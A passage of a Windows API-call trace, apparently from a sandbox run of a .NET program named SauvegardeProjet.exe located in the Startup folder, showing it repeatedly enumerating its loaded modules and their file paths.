lpmodinfo=0x26f2644*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0236.529] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.529] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0236.529] CoTaskMemFree (pv=0x6682db0) [0236.529] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.529] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0236.530] CoTaskMemFree (pv=0x6682db0) [0236.530] GetModuleInformation (in: hProcess=0x288, hModule=0x73940000, lpmodinfo=0x26f4794, cb=0xc | out: lpmodinfo=0x26f4794*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0236.530] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.530] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73940000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0236.531] CoTaskMemFree (pv=0x6682db0) [0236.531] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.531] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73940000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0236.532] CoTaskMemFree (pv=0x6682db0) [0236.532] GetModuleInformation (in: hProcess=0x288, hModule=0x71080000, lpmodinfo=0x26f6990, cb=0xc | out: lpmodinfo=0x26f6990*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0236.532] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.532] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71080000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0236.533] CoTaskMemFree (pv=0x6682db0) [0236.533] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.533] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71080000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0236.534] CoTaskMemFree (pv=0x6682db0) [0236.534] GetModuleInformation (in: hProcess=0x288, hModule=0x70ee0000, lpmodinfo=0x26f8b40, cb=0xc | out: lpmodinfo=0x26f8b40*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0236.534] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.534] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.535] CoTaskMemFree (pv=0x6682db0) [0236.535] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.535] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0236.536] CoTaskMemFree (pv=0x6682db0) [0236.536] GetModuleInformation (in: hProcess=0x288, hModule=0x735f0000, lpmodinfo=0x26fad08, cb=0xc | out: lpmodinfo=0x26fad08*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0236.536] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.536] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x735f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0236.537] CoTaskMemFree (pv=0x6682db0) [0236.537] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.537] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x735f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0236.538] CoTaskMemFree (pv=0x6682db0) [0236.538] GetModuleInformation (in: hProcess=0x288, hModule=0x75b40000, lpmodinfo=0x26fce14, cb=0xc | out: lpmodinfo=0x26fce14*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0236.538] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.538] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75b40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0236.540] CoTaskMemFree (pv=0x6682db0) [0236.540] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.540] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75b40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0236.541] CoTaskMemFree (pv=0x6682db0) [0236.541] GetModuleInformation (in: hProcess=0x288, hModule=0x70de0000, lpmodinfo=0x26fef20, cb=0xc | out: lpmodinfo=0x26fef20*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0236.542] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.542] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70de0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0236.542] CoTaskMemFree (pv=0x6682db0) [0236.542] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.542] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70de0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0236.543] CoTaskMemFree (pv=0x6682db0) [0236.543] GetModuleInformation (in: hProcess=0x288, hModule=0x77ae0000, lpmodinfo=0x2701044, cb=0xc | out: lpmodinfo=0x2701044*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0236.544] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.544] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0236.544] CoTaskMemFree (pv=0x6682db0) [0236.544] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.544] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0236.545] CoTaskMemFree (pv=0x6682db0) [0236.545] CloseHandle (hObject=0x288) returned 1 [0236.818] GetCurrentProcessId () returned 0x55c [0236.818] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x288 [0236.818] EnumProcessModules (in: hProcess=0x288, lphModule=0x2684d04, cb=0x100, lpcbNeeded=0x540d1c0 | out: lphModule=0x2684d04, lpcbNeeded=0x540d1c0) returned 1 [0236.819] GetModuleInformation (in: hProcess=0x288, hModule=0xfe0000, lpmodinfo=0x2684e44, cb=0xc | out: lpmodinfo=0x2684e44*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0236.819] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.819] GetModuleBaseNameW (in: hProcess=0x288, hModule=0xfe0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0236.819] CoTaskMemFree (pv=0x6682db0) [0236.819] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.819] GetModuleFileNameExW (in: hProcess=0x288, hModule=0xfe0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0236.819] CoTaskMemFree (pv=0x6682db0) [0236.819] GetModuleInformation (in: hProcess=0x288, hModule=0x77b10000, lpmodinfo=0x2686fe4, cb=0xc | out: lpmodinfo=0x2686fe4*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0236.819] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.819] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77b10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0236.820] CoTaskMemFree (pv=0x6682db0) [0236.820] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.820] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77b10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0236.820] CoTaskMemFree (pv=0x6682db0) [0236.820] GetModuleInformation (in: hProcess=0x288, hModule=0x736a0000, lpmodinfo=0x26890e8, cb=0xc | out: lpmodinfo=0x26890e8*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0236.820] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.820] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x736a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0236.820] CoTaskMemFree (pv=0x6682db0) [0236.820] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.820] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x736a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0236.820] CoTaskMemFree (pv=0x6682db0) [0236.820] GetModuleInformation (in: hProcess=0x288, hModule=0x77540000, lpmodinfo=0x268b1f4, cb=0xc | out: lpmodinfo=0x268b1f4*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0236.821] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.821] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0236.821] CoTaskMemFree (pv=0x6682db0) [0236.821] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.821] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0236.821] CoTaskMemFree (pv=0x6682db0) [0236.821] GetModuleInformation (in: hProcess=0x288, hModule=0x75990000, lpmodinfo=0x268d308, cb=0xc | out: lpmodinfo=0x268d308*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0236.821] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.821] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75990000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0236.821] CoTaskMemFree (pv=0x6682db0) [0236.821] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.821] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75990000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0236.822] CoTaskMemFree (pv=0x6682db0) [0236.822] GetModuleInformation (in: hProcess=0x288, hModule=0x773f0000, lpmodinfo=0x268f450, cb=0xc | out: lpmodinfo=0x268f450*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0236.822] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.822] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x773f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0236.822] CoTaskMemFree (pv=0x6682db0) [0236.822] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.822] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x773f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0236.822] CoTaskMemFree (pv=0x6682db0) [0236.822] GetModuleInformation (in: hProcess=0x288, hModule=0x77490000, lpmodinfo=0x2691564, cb=0xc | out: lpmodinfo=0x2691564*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0236.823] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.823] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77490000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0236.823] CoTaskMemFree (pv=0x6682db0) [0236.823] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.823] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77490000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0236.823] CoTaskMemFree (pv=0x6682db0) [0236.823] GetModuleInformation (in: hProcess=0x288, hModule=0x75f70000, lpmodinfo=0x2693670, cb=0xc | out: lpmodinfo=0x2693670*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0236.823] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.823] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75f70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0236.824] CoTaskMemFree (pv=0x6682db0) [0236.824] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.824] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75f70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0236.824] CoTaskMemFree (pv=0x6682db0) [0236.824] GetModuleInformation (in: hProcess=0x288, hModule=0x758a0000, lpmodinfo=0x269577c, cb=0xc | out: lpmodinfo=0x269577c*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0236.824] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.824] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x758a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0236.824] CoTaskMemFree (pv=0x6682db0) [0236.824] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.824] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x758a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0236.825] CoTaskMemFree (pv=0x6682db0) [0236.825] GetModuleInformation (in: hProcess=0x288, hModule=0x75670000, lpmodinfo=0x26978d4, cb=0xc | out: lpmodinfo=0x26978d4*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0236.825] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.825] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75670000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0236.825] CoTaskMemFree (pv=0x6682db0) [0236.825] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.825] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75670000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0236.825] CoTaskMemFree (pv=0x6682db0) [0236.825] GetModuleInformation (in: hProcess=0x288, hModule=0x75660000, lpmodinfo=0x26999e0, cb=0xc | out: lpmodinfo=0x26999e0*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0236.826] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.826] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75660000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0236.826] CoTaskMemFree (pv=0x6682db0) [0236.826] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.826] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75660000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0236.826] CoTaskMemFree (pv=0x6682db0) [0236.826] GetModuleInformation (in: hProcess=0x288, hModule=0x73620000, lpmodinfo=0x269baf4, cb=0xc | out: lpmodinfo=0x269baf4*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0236.827] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.827] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73620000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0236.827] CoTaskMemFree (pv=0x6682db0) [0236.827] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.827] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73620000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0236.827] CoTaskMemFree (pv=0x6682db0) [0236.827] GetModuleInformation (in: hProcess=0x288, hModule=0x75db0000, lpmodinfo=0x269dc3c, cb=0xc | out: lpmodinfo=0x269dc3c*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0236.828] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.828] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75db0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0236.828] CoTaskMemFree (pv=0x6682db0) [0236.828] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.828] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75db0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0236.828] CoTaskMemFree (pv=0x6682db0) [0236.828] GetModuleInformation (in: hProcess=0x288, hModule=0x75810000, lpmodinfo=0x269fd48, cb=0xc | out: lpmodinfo=0x269fd48*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0236.829] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.829] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75810000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0236.829] CoTaskMemFree (pv=0x6682db0) [0236.829] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.829] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75810000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0236.829] CoTaskMemFree (pv=0x6682db0) [0236.829] GetModuleInformation (in: hProcess=0x288, hModule=0x75e10000, lpmodinfo=0x26a1e4c, cb=0xc | out: lpmodinfo=0x26a1e4c*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0236.830] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.830] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75e10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0236.830] CoTaskMemFree (pv=0x6682db0) [0236.830] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.830] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75e10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0236.830] CoTaskMemFree (pv=0x6682db0) [0236.830] GetModuleInformation (in: hProcess=0x288, hModule=0x772c0000, lpmodinfo=0x26a3f58, cb=0xc | out: lpmodinfo=0x26a3f58*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0236.831] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.831] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x772c0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0236.831] CoTaskMemFree (pv=0x6682db0) [0236.831] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.831] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x772c0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0236.831] CoTaskMemFree (pv=0x6682db0) [0236.831] GetModuleInformation (in: hProcess=0x288, hModule=0x75a30000, lpmodinfo=0x26a6054, cb=0xc | out: lpmodinfo=0x26a6054*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0236.832] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.832] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0236.832] CoTaskMemFree (pv=0x6682db0) [0236.832] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.832] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0236.833] CoTaskMemFree (pv=0x6682db0) [0236.833] GetModuleInformation (in: hProcess=0x288, hModule=0x75ae0000, lpmodinfo=0x26a81e4, cb=0xc | out: lpmodinfo=0x26a81e4*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0236.833] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.833] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0236.833] CoTaskMemFree (pv=0x6682db0) [0236.833] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.833] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0236.834] CoTaskMemFree (pv=0x6682db0) [0236.834] GetModuleInformation (in: hProcess=0x288, hModule=0x75be0000, lpmodinfo=0x26aa2e8, cb=0xc | out: lpmodinfo=0x26aa2e8*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0236.834] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.834] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75be0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0236.834] CoTaskMemFree (pv=0x6682db0) [0236.834] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.835] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75be0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0236.835] CoTaskMemFree (pv=0x6682db0) [0236.835] GetModuleInformation (in: hProcess=0x288, hModule=0x73610000, lpmodinfo=0x26ac3ec, cb=0xc | out: lpmodinfo=0x26ac3ec*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0236.835] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.835] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73610000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0236.836] CoTaskMemFree (pv=0x6682db0) [0236.836] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.836] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73610000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0236.836] CoTaskMemFree (pv=0x6682db0) [0236.836] GetModuleInformation (in: hProcess=0x288, hModule=0x72f40000, lpmodinfo=0x26ae4f8, cb=0xc | out: lpmodinfo=0x26ae4f8*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0236.837] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.837] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72f40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0236.837] CoTaskMemFree (pv=0x6682db0) [0236.837] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.837] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72f40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0236.837] CoTaskMemFree (pv=0x6682db0) [0236.837] GetModuleInformation (in: hProcess=0x288, hModule=0x75540000, lpmodinfo=0x26b0628, cb=0xc | out: lpmodinfo=0x26b0628*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0236.838] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.838] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0236.838] CoTaskMemFree (pv=0x6682db0) [0236.838] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.838] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0236.839] CoTaskMemFree (pv=0x6682db0) [0236.839] GetModuleInformation (in: hProcess=0x288, hModule=0x74310000, lpmodinfo=0x26b275c, cb=0xc | out: lpmodinfo=0x26b275c*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0236.839] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.839] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x74310000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0236.840] CoTaskMemFree (pv=0x6682db0) [0236.840] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.840] GetModuleFileNameExW (in: hProcess=0x288, 